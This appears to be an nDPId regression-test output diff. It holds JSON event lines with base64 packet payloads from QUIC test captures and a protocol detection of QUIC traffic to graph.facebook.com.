+02391{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":566452,"pkt_caplen":1502,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1502,"pkt_l4_len":1448,"pkt":"AAAAAAAAAAAAAAAAht1gLBAvBagRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABEVvI5gWoBbtZowe9l5MR3aGoPMUlC8ojkveWDrnmED9W5sa4X9wCktDzDDXCYZSRQMxMbCVxwWOrGcoL7RjNrb\/aR0XYpCUrMVMGYc7NbMVcmFh+U7ptII9ng3LovEtfWD+Vs23WbaIHZ861LaEHA\/O3BXXbVKR+D5AvGegGrVyCDUDTVwsI0xjlHU6np3nq2hUuH8yJbDa8RRLpXgKEnKNLc11Kr0rcxDebjOz1dBKCk6MJE+RaErF7rEtrFcdkqX2anO2s+oQdnjsu5lzh2gt+Pax4A51\/PBeBgwzAMnnreukUaaOMmSVWTRc\/VoG6UCj\/Tagguq1zlSUsuPKfS4A\/Hj9PMCdEQl7Hayptql87eJvYWKvnKSw09TobsgFvbTKw8NsJvq53AE7lTrO3TaA+nGZFRkq+M1ZrN2+BdXW26C2KraejfRHNrX6gAfXr\/p6NjeOzTSfUp6nCX0A3akd5q4pDQzfTm\/ZODmJRSSua6qoJNXn0ZXKLdWfGo2HyscrTneMhF6bQ007r+YHFANXKovRp2EPpw\/UJ\/vmL8V6IY0+HgZbj0\/d8FIx79RtbyabSwl8zeJibsQ1efkYJNgJ++\/KCwNGDs8asJAde9mkZ\/dD1+61ArTNYb49TexSktCvy4pG\/lsRXKxM72Y\/+4TJXT4xFdvuvm+PYjyD61bnMUmH40\/yen\/A\/WgtDFdjYfUH767jw9eFdVWB3ZsqeIHitWtMaap9xJIluBD+y2SxNS2T8mAjyctwWenF7C6shXsh0qrLybxoQ0mpuErDwRdnKd4mSsuqiuoQGfGbICbCc2dii\/7aSWW9g0280LQsrjBCl\/YvBCm88jWP2XY0b7UwDAZYeSSdHwaFhBXowhDhxXzH8R0g9ke2rFjs\/\/TBqq0T\/ZB1XqZLLhRVNSNff9p8XMZhqF6nYP3WZjj1DqFa2r\/223NsQ6wlp7tG634D7micOuvJWURO+AlGXtvI7zygsUz0CgkusaQEP4TAWCgn0lXeK6Jy3aZ6m0zQtfsa2SiY0Pyf1PWTuWCeXEhhqN0+G6HwVWdmaL2uYxjn01+QKvB6cqgjzUHj7ISnkgdtIrQ+jDb3\/YuMI9cxUejbp+0glcdsH4JO3WK3bIkjHXe4nJtvi554x5sT83RqdBEWrCT8Hz8DvHMAfbR+\/XpS4NJ6rIBJZTfZnrcqqNHxc+q5Z3+z9E3mEki3zOsCZbUzk0otiSbbusPTJ7Es\/ZnRISPdeCvvH5UBZA\/ITRUTY11l7ptIDwkxD3Q2fTkbX2WLeZoRV1F5rZs22rukFjdfZFbVimjaztzg6Wex3ilHTBU66\/wagcJ+boiTqvzD9shT8g+9ztRyM6oDrvueAWdlAP374US8GzN2ocd+LWy3Qh0kD76f8cnFVOhNIJ74ji8WV\/lEp7vTYYUDMrlFJm1g2QBxreEzVyyxzw\/kWu2secXUHFiuq\/aLl8lirZilXXB6BKhwYA6VsFx\/wQgXMGW7N576ppMuzN4q3u6+qKsFRgykE6xWMCIu8rfyHPKLU8hwJI\/Un9U+WP4ym96BQBToDbbY5w60F\/Fn+reGqzEXYBrNxFHbTy+34B9XFDXGRJuNXJEdt2xpxpJ4rLfkfhcpUBhpHxNFrGGx2u1ISXuanPkdl0U8p9iUo64xVk85WGi67+\/Po3\/vbJft1SNF4cB9lwe3oY2I+j\/MHJ8WFVg+W3w5clz+ifKEtQv0lEwiQL+Eicb9gfq3tlAR\/Zi7S7qlLM5dHBagD9XgE\/DssV\/nw3KYmdu4Cl7igYDAaGwJ\/prNC9sgv+k4qxakCz31iRthWoHa0gjjPRWdkJJ2NsNi51hPYr48FsvBgPM\/Y\/atiNkibfUawrvmDvK1kNir+duSpeLrnsGaquwEZKhLjOOhl7z2u7XrHBakQNuP2txJ4w+obo1p2YnKmbYM="} +00495{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":566937,"pkt_caplen":115,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":115,"pkt_l4_len":61,"pkt":"AAAAAAAAAAAAAAAAht1gIDHwAD0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAByOYRWwA9AFCoAAAAAQg7VxcI2Jvc+wijB72XkxHdoUAcmTt8MUVh5MfFjPiR6HrZ0x4AXuWw5hgay8870A=="} +00498{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":567051,"pkt_caplen":117,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":117,"pkt_l4_len":63,"pkt":"AAAAAAAAAAAAAAAAht1gLBAvAD8RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABEVvI5gA\/AFITowe9l5MR3aHDCzzTaijz9U5VzB+UcLZO\/Jsi+\/dAJOt9rh0qDZ5xv0PkO8a4sIwpW9YplfSi"} +00622{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":567204,"pkt_caplen":209,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":209,"pkt_l4_len":155,"pkt":"AAAAAAAAAAAAAAAAht1gIDHwAJsRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAByOYRWwCbAK6rAAAAAQg7VxcI2Jvc+wijB72XkxHdoUBD9\/BPTEUmeAwM4ti1UzzsHa0grBcA9n2m1GXegcTmlhkRd\/ozRxINvU0WPFD2rw+BjlkWhK5hImlIZyWJh3ng8JsRCkw7VxcI2Jvc+42VJA96aKttLHMtVXsctRtea2Zv3lCpYqfraR0mKGjnst+RV6CR1dYiffUcm2E="} +00498{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":567226,"pkt_caplen":117,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":117,"pkt_l4_len":63,"pkt":"AAAAAAAAAAAAAAAAht1gIDHwAD8RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAByOYRWwA\/AFIaO1cXCNib3Pub7Pf1hTi\/aNEu36XhfQLbmivJJpoCdecnOxkPB+Re9IjNOqu0Ra\/sqMrozTr8"} +02097{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":567418,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAAAAAAAht1gLBAvBNgRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABEVvI5gTYBOsIowe9l5MR3aGDQmsvij2m8pvK4080TVergS+6vCDXYvK9iZnXpGRmAk\/cWgLqiraibmUV8x9JAJn01x7Bt8PHVf1PENmWercYnLCwahC9RgA75TUoFJc8QkPR72\/hDWi2vlIpkuq8I+\/wk8qpn9hHCDwVjkvZso9VWIa3j5gSUdNultpjxsJr3eAmg441BtZYkbDcZz0LPVtnVWNZuXdh3thlHdvSJIUiizIi6Ib3aF7cHlYdZK1tBb1T7Hkcqnp8mKTdFqaX4T3vWt1XF34aoDDpYpT94szrGyQyVRmEfDhuFuWbR3RbtdOZBlnkgFnwUBfgn7q+P37iML2sX7aramn1QpZ10oTy4ra20uyI3FqLSm2270IHcDA3DdQUPgF8DukuVA4ZwLqp\/fvn\/\/RWQXdXuC33i\/B7ldO55W27pn4ieFXe8vISQc3UIzrasrhFAyRPll1q\/DLkuycFefxnMdUbgUOa9Z4B1+f46ZgzDmEQvljME0GDtL17ppM6pBxRte9HRnuwRGYmzhzucYWkjExFYEy46ZkurdEQ5ah3DSf7MTubKGQ4y1nXiEPm9mQt7pMoiQHNZWuUki8Bhw5z9V9pw7DkMUWMbfO0cpHs5f0dXYZtuezuCWtYaxYRrcdqNCtxnuPjwR45DJ7E+SJAPxBnXbJsuM20P1\/Fwx2w9Q25tc59SALbXcXp8L5\/VSgrAOxWimbDVsJw8+hJ1Wh2wXCiIzI0Envgjskv8rHSAHBT\/tQMRgfCdnnNqFnSyhG6nfNHdfO\/GuLooxu2zZpalaH0s7iFt30RAJBSCxYAntJzySjkWTxZbZctX\/dkeqU7Cvl+0mjBJYud\/d6pI7puR0v\/+oiWj1TJkKLmISD8nK+gTjDrcZxacV+33XJsD5VNY34Z6FdhJ9hybrJFXaEmw9H4107\/74kq7k10Q0bRkcN8kDliXVs8EfW7YGiQTL+BPlcmGD5qeiFwX9makUqyZhOepzlmf8kf1e9EGcuoiQNE2UoGCbnowc7yGzg5stXDyuTVuRo\/f\/\/+XzqOD0sAO86ttjiXtsptPfi9U8K+smF99mIYDF7+4nHnNs7nBYWbQAIUp2fRTHxrul2nA5nHlT1v2xeCa0pSJMMfHwIVfpR88iPmzAk6pQWp4gzOXHHclkW3xEeiGCfm1bVV3Pusa+oplxCuaofT+VFQ1uEvLmo40Jz5sJXbQ5uJlT7Clss9xcqAArvItuoeb00jchTqidgo+A6l82IudzRxqKvZz0686W7hAZOcL4\/3wkXBe9dDgqiOb7WWhXIcLJ5wxLxQ+7jfSU9Z\/pZhCC9g0iR2vT9njGD5dfA\/i+2Klb8nv4MFjLv8kALlxv9Adn1Ulcx3P6CNWBPSfCWBgS+d45clNvfzBtzpeL\/Bsrirhfkvm1KiuPwi1nLflzyzsMjrAnWSWkkMinhy4GijqWT64A+klHo2RzwUZiS3bTIJFR9Xgibt0LS90faUBeo547i+guBgbk9aH7v9H2gb74H6rUqnZ\/j6uXgVTWuv14S96odSdBv0ssv\/gEmZ1QxFNYsKdQYUKcKEuOvHARcLCGWpIhILIMSVl5a+nbrVCY+JaX3H0J94f\/4U4jj4owZkoBxsJ3eTLMPxPCjeuK9BorhhCBnx3A=="} +02092{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":567489,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAAAAAAAht1gLBAvBNgRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABEVvI5gTYBOtSowe9l5MR3aEbJ19SHej4tfsfzuEkvoKzvdLdhwQ1PaD+7ENElg212xii47pgtZmhDpN5Q9yabpYztdDbjxFI00xNqgiISehOz1crw3arOqBG0NKMidjDhAV+H\/MsTAyQO8mkF7nLVKueqidoPJKUQzQrvzKlmo7fSHidy7cvA7p4KVPGCXit7+XCD2BTDt7bZvGhJCsuzeie0fi4L85vQ2bZi3mK+bp1B3g+20il7XpUy+QrFPDMqMzWSa9c23MGWX2ukwIQkkA1Y9IxWwOEGe3IYfHV0ixP+aFjMenswTTmpQqFy8UQTsuR9MNFXuxPGCidAp+3bRj7Tu\/f2X3XJj60rO1uST7kbxLdBs\/ROZL\/7xHaE0Dpx9zT7wViJ3M\/Yu33XjwR8bpqdxvci2Pjfe+6JD602QOycJk82zcQjY7IfrWWeaM+NNpUZuBno8xeaTmEiS1vs6bLEnVoPRU1jLgF1DBXylveBQS\/uY+w4YA5ht6iB7IOw2FDYmJYdXSu4fh+E4YQ6DVcrQYRUoyd1rgplHSroDgkyPENZzZ0Nvcgme\/cVaEu7x6RNT7ogLnwDfUIDD19f1sdhHNaRuIXLZzwQJzbgliorTwqXE0b2EOvOEo1+GJKyd+KWyVgeuV7IMTCrB8HOy9dPiVuhvUvWCh4chE8BarGEhhz89QCN9UMI0JiF7D6KQu60WXISI\/70O7a5r1e1DMYPI2\/5CGGj7mpJ97v6QDKyYuwmKKPH0knznRvb1k1qP8XPgtap\/6C5S1LC3qW\/nHJ38PWB7VZt\/wdYEjB0aB1MSFvp1ReMBheNxiWDhUb+zFH4AwaW6jWrWH1TS5DNnyhnBF0HsvVvDzaiQbK5DLghI2vplP35uhxlPwHVNmdtvpNcZP+nuY4lfXAj9+TvwRnz6KQlkIw0+PokogStps3PF7gOeLxCSAOiUGZC0MifdMSGoKhty4hIojtVbYpIJZ4Q8sJOk1UCvOjRV+S+9MU4oCgcCzifLEJNjM3jKvk1uKhsTd3Bdq7oOPXAjeHYRvatwScdmpT7PAwOMoYNx2F0TtEjAnpLuvjIrYZg9CVSQouQ6o5IXjpwfMRyMWpmTphfNB3HTzvKN7+JJ8r9lzZRZOPX1MUdL53h+NcDyxs4rh1kDVlkzfo5DvQ6k5w+aAK4IJLnmE3xbSsdka6ih\/Z1Gx97XC378+CYGPjsyvUa8zXbrRQFzW+hUAQOOm9z3qyuTf4PWY2TuuyC+ivqgVw6fCjqqO3+Rrb4z47YKr4ZFaIIq+x6qFs4yGCy1bsx0grysgZ\/mC4+ebQ4pEh+BaZ5HhaoBZ00ynxn5h7E9LXnw1JgIqixttsNLbz4Ej2nz\/4iHBtxizPofB7jBBf2wnEqdvrYP+YA4Cn44HYHI0TEdTpQgNmNkR0gxvqMW59eajpqbn\/vdD\/vy9UdI\/wQ3kRPCgwrcOHy9nE77QkouYMrJ0QnlZk8mVUHLjl6iU4pDn53747wJhk20WZsf6X2jU2Ro903Qsxb0ZzejwYek0Kp8fLx5xzoC0JZb6Tx6B0n6qY4LlUmA2n17sJSOizT2DOxaAz164mq6fmdAngrucY+r0h8l3NXnN64sGYwG+wKT3VdG9eN\/JtDkhuFcF6bg8EYrpDSh+SuQ=="} +00848{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":567633,"pkt_caplen":373,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":373,"pkt_l4_len":319,"pkt":"AAAAAAAAAAAAAAAAht1gIDHwAT8RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAByOYRWwE\/AVJuO1cXCNib3PsMVrFZyA75bcuDyns1NFwM449VFNXXHET8vm8foHomDmaDPKjw8UAEYKiFe4G0j2bCUl6t5fnsX2DYyT+4vj9MU0nsXHFKKBG9etH6ZCPELW1mf6V9\/Bs0OC14vHWtsOXlC+PtoAMLYVYgFqKExX2PDpBGvgkbz7XKxxkbpsvrgslVS2rKykmCdcuY\/MtlI7xCbDpp7wBEifzA0l30FR9Yn8hovqyzx6AvIVLHxHDkDhQZUAeTx\/w16FDX1E0A1NufRDnVvpLHRIcwDAg7eFwVY80CjTYoivhqTTnAzMAcCXMIHzyAw6myUu+kxR6VGpa3J33FEtmDp5cjmNjZPKITQKy1hnicSOI\/MNjjqLH0owu0utwofRrcAqhlG8wvTcUrk\/PVZXwpk9BWnVdsAA=="} +02377{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":567671,"pkt_caplen":1502,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1502,"pkt_l4_len":1448,"pkt":"AAAAAAAAAAAAAAAAht1gIDHwBagRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAByOYRWwWoBbs7O1cXCNib3Pth5jzYs8YFa2yJuGHGe\/wJTqM5QrU7S4TyoeubT0ihoDFlBwASuQmCHkEzDvq\/e8LAD17uYJdj3oFOn\/T9XjNEnLVMZVeDRjDwSzrH83WevnazQu3H7TEHNa+U+AVK6\/bmQjaXHgX4Xeba9UXJ6qWrjsYv6f142iGCzdtQrBJe0LB5ulGo5eTOiGhjmk\/dyWQPP3jrNLZeNZvTgLpbLC3XIWpM5IGW7wDOOBSRa3yF8c5exsOKk+kEnsfE8+P+5Q9aMeOsqPQpEV3EQKkWFsujiwXd+byK0BcQP24Xku1C8lo\/odU4KtdC1aiVnCy9j5xUFXlcB2GDCbRly9yOmt\/0ms4BDNJlmUkk6K53Mr7mVJWArUf5AEU2FcLRsJv3dMv\/6p0wcoHKg+hGuqf8VUEDhHERqvUrAdcQVYzkCIB6Flcrko6UeY8JYhA1KzDCK2hjseTVVZktUm\/DVIoD1uyCHkEnqXOZz7WPRy1HlFEfWej56mRJRe3QfyIGbFFMkmpWFGvrzwmNXS5M\/\/qiF5mropd6LjWbCW0ueJXatK8jS0VPm+Alq39DFUX9XVr3Z+z1VIGJNGpbgfU\/LusymdKJ4aTAzIU8Vdoqwfdh4jRB2Noa5AXMc5drfMYFJlKT7xvzEZ7akPaJkxp346g\/VjJbI6RN5T0CSmS0k17dQcU69+xfjj2WJAHRMlMuGOQxZG2jfGxC5SQxpKJ9S2G9CqRGNZdVPOgetlKFGp9WnIBcFCIOgMDL0VePOES0GLFDmO4iDCL1hTWBG7HYD16Hxe2aIKaHm+BTdfVCYW6bdR9x7HY0KEt1+ty44nUY+Q\/KRrcTy8a0w6KB9NihyNS4WxhJAsONS1sN6HlbDsCRyzugIxdao7M5YNR3fxfVwSaeLe5vnYShGzVwrrH\/AJEHITzLBIFYFcBG\/2sOLsIgkXZHW7Nn2ME04SveRC90ovR09WYzxcJzLWEYvHd+tBa4Th7ZvkClgxzV4Ktng4BfldFS+BDXLx1OWCFhIw+tGIRYMQ5APiD3HmoE2H2bItWS5ArKEzDdaKVW2XIe4E3Tm+xP07NVHUU9Il7Nsf9KfUFIEboegZjBUhDiqOHf7yUpzsqDP2gfAxakRVsmnDnNJQg53K1xD\/CJ4TEPvGvW1wxSRa3Mv\/vROwXuU5t\/Ky6LVoHT0mHGqzpQS28pTB7BdmqmUa2U0rlvK4Nza4uEVPXkM2nCBs0efTYJLuhVw0nKgZPhSawAr9mlPiGRl\/\/2vbXaDAeBOTpOKamdOTm9FBYns4IbrBKABk8O7gP4mSjssqMvys0SKk4maxeur8VgJUuGAZ0TRPlzv\/fT\/\/4QNCuac1x1YKP\/m8s1AuOozs49fsxg\/IptcN6LkEbMyUvoDbmL9ibpU1oB+sI+MlNe1JKlIzTnJQqMGUBk5Ovc9NHNuYzSNcKDTQxAHRLNWUYr6QFxTzHSeC0ON24JvUDUfKLi0H4PUKy3RovB39T0LFg9RHNI3DcuRV7PmJzPOUKfewl0SC2Z4fRn7JMhlmraMcRfXLEB1Bg6OPc6sxyklM90JKfGbBuyPgSWvdFrYFGBqVhFHhqsAarEmWJT7cakjOC53rrYRwVI0ovIqnYyjHjYwEke6+MtnALmwNzbrst5xPaM1KmUqMY6ZP6JLZIIr+RxYH0Ltyp3MSnmySQhfobafMtgpPAaXQDePSI+oGnVWJWHCJPqIAeJDg4JCY7+FAlqu7VHeGyqPHGpUEbocyosx35ftMyEyaR2Z3Us9FRnSqg6MV9kmRp71LXDRNlPC3U9uoEYWFW4EKIXLZ1kfA15ofb7kW3lIlJdja3sLJ\/sEo1BtQjE2L9SLXS1ZyAoKaWFEzH+mqOjSiWqGv\/ehaDpVb5NkIzoOP+kZzhioj8EpyTssJRuW4T49J4="} +01018{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":568629,"pkt_caplen":501,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":501,"pkt_l4_len":447,"pkt":"AAAAAAAAAAAAAAAAht1gLBAvAb8RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABEVvI5gG\/AdI5owe9l5MR3aHaomNbo4wvz7hzOwX9pjNA4xG\/TQWWUW54pduqsedHvQxA5YGyeA+tqxYhFe2PybFzq50trBHfJppt7k8jEhdLWET1hKeQbaL4CGQZkk02gA2kObT1W4kh71yZ6H\/UhIL0qocGjuITvczTNvn8dRSWn4d3XDqFVV4MCpTZswXkaMMpQVgbh65\/B7zzGGjEbshtWV68fYH+fxeF2BmVLoOQyGjocnGDvhjDIiKTps3sAt8nfWOMChw0h08or2Btd69qbFvBb011E55FZ5IkwNCZllm\/H5QPwvDGydavWDiYc63lxHla0wnMPjNgsva3CDRk6EVzD9LGyLMYt5zQY8pbZjR54CyzvSLH1gc6pPm1RnNQJ1EVncilvVdxU1r019RFZPdjuV986n0eqe+7DqG1sJIf\/dsBshUgYi8dcB1tMSCxjlC370TVyBqP2TIzEASkxcjKeMajOy93XOip+qSK1cH7ClMER564mOuQwiZ84pcJE+WhYgPZQTY+TgJoEBvg\/8r8hmlYb+wFuFIGVvtPBTFKMYl+konANYR6vCKqgR2lEsYHCYd0Qax\/8c3T"} +00675{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":569050,"pkt_caplen":245,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":245,"pkt_l4_len":191,"pkt":"AAAAAAAAAAAAAAAAht1gIDHwAL8RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAByOYRWwC\/ANJRO1cXCNib3PtKqOt8xfy0EEzcOeXpnJcVJZnXfJTiHG506zQ\/okpaI7L1NrRKeH6vXfGArfQkrjS6nu6vN6zNx\/r11pwwpzVuq0ivx5WaY4QTDIKqcrJdMdK9tA5EuZmZ6jD+Wqq12VM1slAj+PbuvLGrsGfC8j2IFoNLQsmBSije\/PdyloR5Opduno6mb+eE3SMzn6H+sqZEDlLiHmhPW4+0yBfbKenzE2barFjKhUz7qNOqP\/M="} +00499{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":569159,"pkt_caplen":117,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":117,"pkt_l4_len":63,"pkt":"AAAAAAAAAAAAAAAAht1gLBAvAD8RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABEVvI5gA\/AFIRowe9l5MR3aF28MLH\/69bW3jeVbEpPKzZTDZSAWWOpkR3naiJgy2c4GBD8Ud7hIzlSuhZTuEf"} diff --git a/test/results/quic-mvfst-22.pcap.out b/test/results/quic-mvfst-22.pcap.out new file mode 100644 index 000000000..20040ea17 --- /dev/null +++ b/test/results/quic-mvfst-22.pcap.out @@ -0,0 +1,17 @@ +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":24710,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.15","dst_ip":"31.13.86.8","src_port":35601,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02053{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":710880,"pkt_caplen":1274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1274,"pkt_l4_len":1240,"pkt":"UlQAEjUCCAAnANMtCABFAATsAABAAEARtN0KAAIPHw1WCIsRAbsE2LapyfrOsAEIVt4FS0mAWdwAAES+glHsK6O\/Oq7IqxunKa1n3XFv8eVEdrO\/buZ2LMAVEB2NyWCg6hfO6EP+vLVLmftkS1PJQqVl7L+7l7BI482Kpj4ofT9JnOQ0xEE4Vys3R4pwXiPc1lMJx32RX9zKYm+Z1fbMOyayi7zU0q+i63OayYrYD3jSt+Vvv7BMyIgMJ2yBRML4Cvl27dkQOy02PKy9hJb4U9IakyZ9jxJvJUG6tfB\/LJZUaX2z8xaFt+J6lEY3AOj1WgBxHOY78xSQcl0cfAaJSIKcA9Vn4sv\/fiPAKil0a5hIx6QXM2jiv4vFSqcgQHPhjbxlmksCUD71+BcElvTx09somsejpTEXOX5DumiTu+RmoxzAPxad\/yoHUmpVtJwSnjk0zwlToGO6SDPnEODnYt3LIvHRsx7mnFExLWnr+yQHfYFCeLNMctGGZBMubCx4gjt048OWguRvM18ud1xw3iRiS5rez8OMJIfcMnRlbnJA4MyOhWSWUbuYwKHXBZjNJSArgDpEssUAVBEOZQpnBVnXDGsqdTXz0eM1y7mnenMoiYqQeMnNMBDyturRKjEAiVgPEzOZ8CufggYEMfnAHCuOwF04gvqplTrrZWKOSNpdQNeFrRsWk7y1RbIKw3b8jWOTzA\/3wnocU7LCIqLpjBDheYw+YKL\/QStNjvcf462QDT2fMTEzd2qFUE5\/HIdvgFCjr11QAYfzSa9caF4orrxStMFBMwLrngiPEoNK2oL1ixSvqcDH1eCryay+ufbCfgtp9mN21cP9bS1fp+KOtJdRjk+WwIrnLE7yFL2kPl4Y1ub8Ic+0DgBOwxUrYa0lSq611ixLqvgBVVHqkVlsmy5FzYlt4nKwAzaE+UMlVSse0y5ciP9QYj7PgUOQsYRJLOdnUB1nb1cLIVzISsr9mEOc4Z\/V5yQfx0Je4KZnrBbnTxqzPJmczioPnEqWI3SSJQvibzfqftopphp69YYIvmngwQ9boqS8nu\/0Z90F4tXrXlEqVlkyt8z345OCJheKM35O3g1+gtDgXes9IlOq0VZHWc1xWYAyu3e5lYps9GawHgztTKd5Dh6phItAr7WJdjC7E5+Hw0Djk+jR2QPNAEyXNvBFWYdDCSKqCL0EW4k8u46MkhLkYoD\/U5LiEaiB5YSuGX8HZDJEwdOPPEWcT2hknjUDiQIy7tuEeBHkZxly3y9r8TtSEnAlDGbBVFAT+DI1sU7ifZHKOelnaNbzJX29JqcLfJH6OdFC035GL8QU1vvk19qbGftY3DBf6EJAhrCyEG8T68nr4mpyNVonkDSzrMh1qFjIZcwFXjgWWM6+wxfrI7EB5HOgW0H2RU+8jBV8bTAp0cYUEIW83AlhSIGJhaN4hzo4QbiQ\/NEKSL4V6HA7r2y3QQu7WQiGeuhWzieHC\/re+NOqmY8UZ2Nbtc52d9K25gQKE7BXNhq2zsjuIhLJme7BBI75RlEqF\/camjLVcquotPgLUp7uXIyomz0zmkrCGiGxy4HlklTCcE1ashYaXZA\/9HX39Pj6qB+WKglzfibh+ldNWXcB79RaHBC3E7rGwoRJM5jkaMEkWLJVppPuZZUXD0CLZZ5SItvsTmJ1D5A5i3llXNLFE2q4czLsPbe5Ft7r2t0="} +00711{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":24710,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.15","dst_ip":"31.13.86.8","src_port":35601,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Facebook","breed":"Fun","category":"SocialNetwork"},"quic": {"client_requested_server_name":"graph.facebook.com","version":"TLSv1.3","alpn":"h3-fb-05,h1q-fb","ja3":"a3795d067fbf6f44c8657f9e9cbae493","tls_supported_versions":"TLSv1.3,TLSv1.3 (draft)"}} 